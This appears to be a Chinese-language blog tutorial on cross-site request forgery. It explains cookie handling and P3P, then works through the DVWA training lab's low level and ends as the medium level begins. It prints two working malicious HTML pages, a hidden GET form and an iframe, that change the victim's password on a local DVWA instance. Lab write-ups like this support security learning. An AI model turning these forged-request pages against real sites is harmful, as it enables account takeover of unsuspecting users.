CSRF

最新推荐文章于 2024-05-06 09:46:29 发布

jesus_H

最新推荐文章于 2024-05-06 09:46:29 发布

阅读量210

点赞数

分类专栏： web安全

本文链接：https://blog.csdn.net/qq_41667282/article/details/88134362

版权

web安全专栏收录该内容

2 篇文章 2 订阅

订阅专栏

CSRF全名是Cross Site Request Forgery，中文就是跨站请求伪造，重点在伪造上面，可以看成是黑客伪造了一个恶意页面，诱使用户访问，从而以该用户的身份在第三方站点执行一次操作。

上图是一个正常访问和异常访问的对比，下面的异常访问就是黑客的攻击过程。下面这个图是黑客通过CSRF以用户的账号进行转账的例子

攻击者伪造的请求要能被服务器验证通过，需要用户的浏览器能成功发送cookie。下面来先讲解一下cookie。

cookie分为两种，一种是“Session Cookie”,又称为”临时cookie“；另一种是“Third-party cookie”，也称为本地cookie。

区别是：Third-party cookie设置了expire时间，过了时间就失效；而session cookie是关闭浏览器失效。Third-party cookie保存在本地，而session cookie保存在浏览器进程的内存空间中。

如果浏览器从一个域的页面中，要加载另一个域的资源，某些浏览器（IE，safari）会阻止Third-party Cookie发送，这样需要cookie的CSRF攻击就有可能会失败。

但是P3P头的介入后情况变得复杂起来，有了P3P Header在某些情况将会允许浏览器发送第三方Cookie,包括IE浏览器，详细的P3P Header可以查阅W3C

下面进入实战环节，实战平台仍然是DVWA

这是一个界面，CSRF的目的就是要改变密码

一、low等级

先是抓包分析

点击查询参数

会发现提交时，提交了三个参数，在第一张图中需要注意请求方法是GET，这在表单提交的时候非常重要。

下面就是伪造恶意页面诱骗用户点击的过程了

恶意页面的构造有两种方法：

1、第一种是form表单

<!DOCTYPE html>
<html>
<head>
	<title></title>
</head>
<body>
	<form method="get" action="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/">
		<input type="hidden" name="password_new" value="password"/>
		<input type="hidden" name="password_conf" value="password"/>
		<input type="hidden" name="Change" value="Change"/>
		<input type="submit"/>
	</form>
</body>
</html>

2、第二种就是利用<img>,<iframe>,<script>,<link>等这些带src属性的标签

<!DOCTYPE html>
<html>
<head>
	<title></title>
</head>
<body>
	<iframe src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#"/>
</body>
</html>

二、medium等级

用前面的方法构造恶意页面进行访问，发现修改失败。